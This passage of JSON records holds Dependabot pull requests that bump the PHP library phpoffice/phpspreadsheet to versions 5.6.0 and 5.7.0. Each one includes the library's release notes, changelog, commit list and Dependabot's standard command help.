with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.7.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/roldaobatista/sistema/pull/35","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/roldaobatista%2Fsistema/issues/35","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/35/packages"},{"uuid":"4294327663","node_id":"PR_kwDORw3CnM7T4O8n","number":21,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.5.0 to 5.7.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-20T08:43:06.000Z","updated_at":"2026-04-20T08:43:07.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.5.0","new_version":"5.7.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.5.0 to 5.7.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-04-19 - 5.7.0\u003c/h2\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSecurity patches.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2026-04-09 - 5.6.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMake Reader/Csv Extendable, add new preferred Reader/CsvNoEscape class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003e#4836\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4836\"\u003ePHPOffice/PhpSpreadsheet#4836\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4837\"\u003e#4837\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4837\"\u003ePHPOffice/PhpSpreadsheet#4837\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4845\"\u003ePHPOffice/PhpSpreadsheet#4845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXLOOKUP function. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003e#1453\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1453\"\u003ePHPOffice/PhpSpreadsheet#1453\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4844\"\u003ePHPOffice/PhpSpreadsheet#4844\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eIntroduction of a benchmark test suite, independent of the default unit test suite. Users can use it as a template for experimenting and making decisions concerning performance. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4824\"\u003e#4824\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4824\"\u003ePHPOffice/PhpSpreadsheet#4824\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eRemoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eNothing yet.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCollection/Cells::MAX_COLUMN_ID - use Cell/AddressRange::MAX_COLUMN_INT.\u003c/li\u003e\n\u003cli\u003eWriter/Xls/Worksheet constants MAX_XLS_COLUMN, MAX_XLS_COLUMN_STRING, MAX_XLS_ROW - use Cell/AddressRange MAX_COLUMN_INT_XLS, MAX_COLUMN_XLS, MAX_ROW_XLS\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsistent handling of row and column limits. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4820\"\u003e#4820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4820\"\u003ePHPOffice/PhpSpreadsheet#4820\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eProblems with Html Conditional Formatting Colorscale. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003e#4838\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4838\"\u003ePHPOffice/PhpSpreadsheet#4838\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4839\"\u003e#4839\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4839\"\u003ePHPOffice/PhpSpreadsheet#4839\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed an issue where Date detection could misclassify invalid numeric values as dates. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4841\"\u003e#4841\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4841\"\u003ePHPOffice/PhpSpreadsheet#4841\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eOds Reader/Writer Integer Styles with Leading Zeros. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003e#1606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1606\"\u003ePHPOffice/PhpSpreadsheet#1606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4822\"\u003e#4822\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4822\"\u003ePHPOffice/PhpSpreadsheet#4822\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXlsx Writer Data URI for Images. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003e#4823\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4823\"\u003ePHPOffice/PhpSpreadsheet#4823\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4831\"\u003e#4831\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4831\"\u003ePHPOffice/PhpSpreadsheet#4831\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConfusion Checking for Union Arguments. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003e#4832\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4832\"\u003ePHPOffice/PhpSpreadsheet#4832\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4835\"\u003e#4835\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4835\"\u003ePHPOffice/PhpSpreadsheet#4835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader Xlsx Hyperlink with Anchor. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003e#4842\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4842\"\u003ePHPOffice/PhpSpreadsheet#4842\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4843\"\u003e#4843\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4843\"\u003ePHPOffice/PhpSpreadsheet#4843\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9f55d3b9b7bcb1084fda8340e4b7ce4ed10cd0c8\"\u003e\u003ccode\u003e9f55d3b\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4859\"\u003e#4859\u003c/a\u003e from oleibman/updchangelog20260419\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2e35213f2a5c8430f8f46294e7d472c30cf123be\"\u003e\u003ccode\u003e2e35213\u003c/code\u003e\u003c/a\u003e Update Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9019a9c9da1daee02d55c40f45f23a3c7eba5b62\"\u003e\u003ccode\u003e9019a9c\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f1eb4e6980d537ec85fc20be5950f9ad65d47ffd\"\u003e\u003ccode\u003ef1eb4e6\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9b90dee03deb0d28761479c4a3a06fba5f7e012e\"\u003e\u003ccode\u003e9b90dee\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4857\"\u003e#4857\u003c/a\u003e from oleibman/changelog20260406\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/f302b3265a3c471438192eea5a8cca26c1d52e88\"\u003e\u003ccode\u003ef302b32\u003c/code\u003e\u003c/a\u003e Prepare Changelog For New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4a476071b3e0d633906251d95e73ad7464a32337\"\u003e\u003ccode\u003e4a47607\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4850\"\u003e#4850\u003c/a\u003e from oleibman/updatestan\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8a9e9b561043ad5c9ed869a9c9b6658a7b1c50c3\"\u003e\u003ccode\u003e8a9e9b5\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4845\"\u003e#4845\u003c/a\u003e from oleibman/csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d6d7d537f941ecfff5990f33558bad74d075be5\"\u003e\u003ccode\u003e5d6d7d5\u003c/code\u003e\u003c/a\u003e Merge branch 'master' into csvnonutf8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/6f23fe3d8c3b2604360bbc4d1778a1f41d6c1d52\"\u003e\u003ccode\u003e6f23fe3\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4844\"\u003e#4844\u003c/a\u003e from oleibman/xlookup\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/5.5.0...5.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=5.5.0\u0026new-version=5.7.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nYou can trigger a rebase of this PR by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/Willgunter/openemr/pull/21","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Willgunter%2Fopenemr/issues/21","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/21/packages"},{"uuid":"4242416691","node_id":"PR_kwDOCxuJcc7RmehH","number":3282,"state":"open","title":"Chore(deps): Bump phpoffice/phpspreadsheet from 5.5.0 to 5.6.0","user":"dependabot[bot]","labels":["dependencies","3. to review"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-04-11T01:04:16.000Z","updated_at":"2026-04-11T01:34:25.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Chore(deps): 